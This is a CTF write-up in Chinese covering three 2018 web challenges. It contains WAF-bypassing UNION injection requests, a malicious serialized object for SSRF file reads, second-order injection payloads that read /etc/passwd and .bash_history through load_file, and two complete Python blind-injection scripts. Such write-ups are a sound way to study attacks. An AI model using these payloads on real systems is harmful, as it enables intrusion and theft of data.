[网鼎杯 2018]

0x01 Fakebook

有robots.txt

User-agent: *
Disallow: /user.php.bak

访问一下拿到源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
?>

估计是通过get来进行SSRF攻击了

走一下网站的流程

注册了账号

访问个人界面时

http://111.198.29.45:53095/view.php?no=1

输入no=2

有报错信息,泄露了目录

Notice: Trying to get property of non-object in /var/www/html/view.php on line 53

看一下有没有sql注入,手工注失败了,有waf

看一下sqlmap能不能跑

试了一下有个基于时间盲注的方法...但是最后sqlmap也没给我跑出来

看了一下师傅们的wp,发现是waf把union select给过滤了,用/**/内联注释来绕过

GET /view.php?no=-1%20union/**/select%201,2,3,4 HTTP/1.1
Host: 111.198.29.45:53095
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=alqac37gsjk5jco5mk288n8ct4
Connection: close


HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 29 Jan 2020 13:45:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1666

<!doctype html>
<html lang="ko">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>User</title>

    <link rel="stylesheet" href="css/bootstrap.min.css" crossorigin="anonymous">
<script src="js/jquery-3.3.1.slim.min.js" crossorigin="anonymous"></script>
<script src="js/popper.min.js" crossorigin="anonymous"></script>
<script src="js/bootstrap.min.js" crossorigin="anonymous"></script>
</head>
<body>
<br />
<b>Notice</b>:  unserialize(): Error at offset 0 of 1 bytes in <b>/var/www/html/view.php</b> on line <b>31</b><br />
<div class="container">
    <table class="table">
        <tr>
            <th>
                username
            </th>
            <th>
                age
            </th>
            <th>
                blog
            </th>
        </tr>
        <tr>
            <td>
                2            </td>
            <td>
                <br />
<b>Notice</b>:  Trying to get property of non-object in <b>/var/www/html/view.php</b> on line <b>53</b><br />
            </td>
            <td>
                <br />
<b>Notice</b>:  Trying to get property of non-object in <b>/var/www/html/view.php</b> on line <b>56</b><br />
            </td>
        </tr>
    </table>

    <hr>
    <br><br><br><br><br>
    <p>the contents of his/her blog</p>
    <hr>
    <br />
<b>Fatal error</b>:  Call to a member function getBlogContents() on boolean in <b>/var/www/html/view.php</b> on line <b>67</b><br />

现在可以正常注入了

发现2处可以正常回显

那么有

#爆表
no=-1+union/**/select+1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 
#爆列
no=-1+union/**/select+1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()
#爆列data的内容
no=-1+union/**/select+1,group_concat(data),3,4 from users

data里的内容就是我们之前注册用户的序列化数据

报错信息暗示我们需要构造一个序列化对象

unserialize(): Error at offset 0 of 1 bytes in <b>/var/www/html/view.php</b> on line 31

利用前面泄露的源码构造一个恶意对象

<?php
class UserInfo  {
    public $name = "admin";
    public $age = 233;
    public $blog = "file:///var/www/html/flag.php";
}

$data = new UserInfo();
echo serialize($data);
?>

利用getBlogContents调用的curl进行SSRF攻击

四个参数都试了一下,发现是第4个用来读用户数据的

payload=?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在iframe中得到flag

参考资料

绕过限制利用curl读取写入文件:

https://www.anquanke.com/post/id/98896

Comment

登进去发现可以发帖,但是要跳转到登陆页

提示用户名密码。。。。。卡了半天

zhangwei

zhangwei*

burp 爆破下

密码:zhangwei666

然后可以发帖了

此时扫目录还发现了.git

GitHacker拿到

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

但这个显然不是真实的源码。。。。

最后用GitTools恢复了一下

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";//这里category二次调用,可以注入
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";//category注入到这里 就可以带select
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>
[email protected]:~/GitTools/Extractor#

利用addslashes进行转义,可以看到存在很明显sql二次注入

poc:

title=123&category=',content=(select group_concat(database())),/*&content=1

然后评论*/闭合即可

fuzz了半天,想到可以cat .bash_history....

load_file()读文件 读/etc/passwd找用户

select load_file('/home/www/.bash_history')

可以看到

cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start

然后读/tmp/html/.DS_Store

但是这里有个坑点是里面会有不可见字符。。

所以先用hex转下码

里面有flag_8946e1ff1ee3e40f.php,load一下拿到flag

title=123&category=',content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*&content=1

Unfinished

用户名存在二次注入

Poc:

username=0'+(select hex(hex(database())))+'0

登录的话会显示database()双hex的效果

一种是利用双hex

# coding=utf-8
import requests
import re,binascii
import sys
url = "http://f4511b17-2c2d-4b8d-9d4f-16e0ed66444b.node3.buuoj.cn/"
sql = "select * from flag"

email = ["test0" + str(i) + "@aa.aa" for i in range(0,24)] #这里次数可以通过sql爆破flag长度得到,或者也可fuzz

def register(email,offset):
    payload="0'+(select substr(hex(hex(({0}))) from {1} for 10))+'0".format(sql,str(1+offset*10))
    data = {
        "email" : email,
        "username" : payload,
        "password" : "test"
    }

    req = requests.post(url+"/register.php",data = data)

def login(email):
    data = {
        "email" : email,
        "password" : "test"
    }
    r = requests.post(url+"/login.php",data,allow_redirects=True)
    pattern = '<span class=\"user-name\">\s*(\d{1,10})\s*<'
    return re.findall(pattern,r.text)[0]

if __name__ == '__main__':
    raw = ''

    for email,offset in zip(email,range(0,len(email))):
        register(email,offset)
        test = login(email)
        print(test)
        raw += test
        sys.stdout.write("[-] Double Hex : -> %s <-\r" % (raw))
        sys.stdout.flush()

    print "[+] Double Hex : -> {} <-".format(raw)

然后还找到另一种是利用

(select substr((%s)from(%d)for(1))='%s')进行盲注

脚本

#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import requests as req
import random
import sys

URL = 'http://f4511b17-2c2d-4b8d-9d4f-16e0ed66444b.node3.buuoj.cn'


def login(email):
    data = {
        "email": email,
        "password": "123456"
    }
    res = req.post(URL + '/login.php', data)
    if res.status_code != req.codes.ok :
        return login(email)
    if res.status_code == 200 and '1          </span>' in res.content:
        return True
    return False


def reg(u, e):
    data = {
        "username": u,
        "email": e,
        "password": "123456"
    }
    res = req.post(URL + '/register.php', data, allow_redirects=False)
    if res.status_code == 302:
        return login(e)
    return False
table = 'qwertyuiopasdfghjklzxcvbnm'


def b(pl):
    email = ''.join(random.sample(table, 8)) + '@qq.com'
    return reg(pl, email)


def getLen(sql):
    print("[+] Starting getLen...")
    for i in range(1, 60):
        sys.stdout.write("[+] Len : -> %d <-\r" % i)
        sys.stdout.flush()
        if b("1'and((select length((%s)))=%d)and'1" % (sql, i)):
            print("[+] Len : -> %d <-" % i)
            return i
    return 0


def getData(sql="version()"):
    _len = getLen(sql)
    if not _len:
        print("[-] getLen 'Error'")
        return False
    print("[+] Starting getData...")
    table = '}{[email protected]_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
    res = ''
    for pos in range(1, _len + 1):
        for ch in table:
            sys.stdout.write("[+] Result : -> %s%c <-\r" % (res, ch))
            sys.stdout.flush()
            pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1" % (
                sql, pos, ch)
            if b(pl):
                res += ch
                break
    print("[+] Result : -> %s <- " % res)
    return res

# right(left(x,pos),1)
# mid(x,pos,1)
if __name__ == '__main__':
    # pl = "(select substr((version())from(1)for(1))='%s')" % '5'
    # pl = "1'and(%s)and'1" % pl
    # print(b(pl))
    #pl = 'version()'
    #pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1'
    pl = "select * from flag"
    getData(pl)
© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2020-07-09 14:40:32

results matching ""

    No results matching ""